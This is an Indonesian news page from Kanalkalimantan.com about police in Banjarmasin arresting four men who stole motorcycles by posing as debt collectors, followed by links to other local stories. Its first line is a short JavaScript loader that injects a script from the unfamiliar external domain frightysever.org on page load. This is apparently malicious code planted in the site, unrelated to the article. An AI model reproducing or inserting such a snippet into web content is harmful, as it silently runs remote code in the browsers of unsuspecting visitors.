(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Komplotan Perampas Motor Ngaku Debt Collector Diringkus Satreskrim Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Empat lelaki di Kota Banjarmasin merampas dua sepeda motor warga dengan mengaku sebagai debt collector.

Komplotan itu dibekuk Satreskrim Polres Banjarmasin saat tertidur lelap di dua tempat persembunyian mereka di Kabupaten Barito Kuala dan Kabupaten Tanah Laut, Kalimantan Selatan.

Kasat Reskrim Polresta Banjarmasin Kompol Thomas Afrian mengatakan, saat beraksi komplotan lelaki berbadan kekar itu, menggunakan modus yang sama, yakni mengaku sebagai debt collector atau penagih utang kepada para korbannya.

Kemudian, setelah berhasil merampas sepeda motor korban, komplotan itu lantas menjualnya kembali ke pasar loak.

Baca juga: Ganggu Pasokan, Ancaman Sanksi Penjual Air Bersih Pakai Pompa di Banjarmasin

“Modusnya penagih utang mirip, dimana para pelaku mengaku sebagai debt collector untuk mengambil kendaraan roda dua dari para korban. Setelah itu kendaraan atau kendaraan roda dua ini oleh para pelaku dijual kembali ke loak,” kata Kompol Thomas, Sabtu (2/9/2023) malam.

Menurutnya, sejauh ini baru ada dua laporan polisi yang diterima oleh Polresta Banjarmasin.

Namun, Thomas tak menampik, ada dugaan komplotan itu telah beraksi cukup lama dengan jumlah korban lebih dari dua orang.

Untuk itu, Polres Banjarmasin terus mendalami kasus ini. Sedangkan empat pelaku telah ditetapkan sebagai tersangka dan ditahan.

Baca juga: Baksos IMBI Kalsel Bagikan Paket Sembako

“Sementara kalau untuk LP kan dua ini, LP-nya dua sampai saat ini. Masih kita dalami ada berapa sih sebetulnya pelaku ini pernah melakukan perbuatan serupa. Namun demikian, terkait dua LP tersebut sudah disidik. Para pelaku sudah ditetapkan tersangka dan sudah dilakukan penahanan,” paparnya.

Atas perbuatannya, keempat tersangka dijerat dengan pasal berlapis, yakni Pasal 365, Pasal 378 juncto Pasal 372 KUHP dengan ancaman hukuman di atas 5 tahun penjara. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.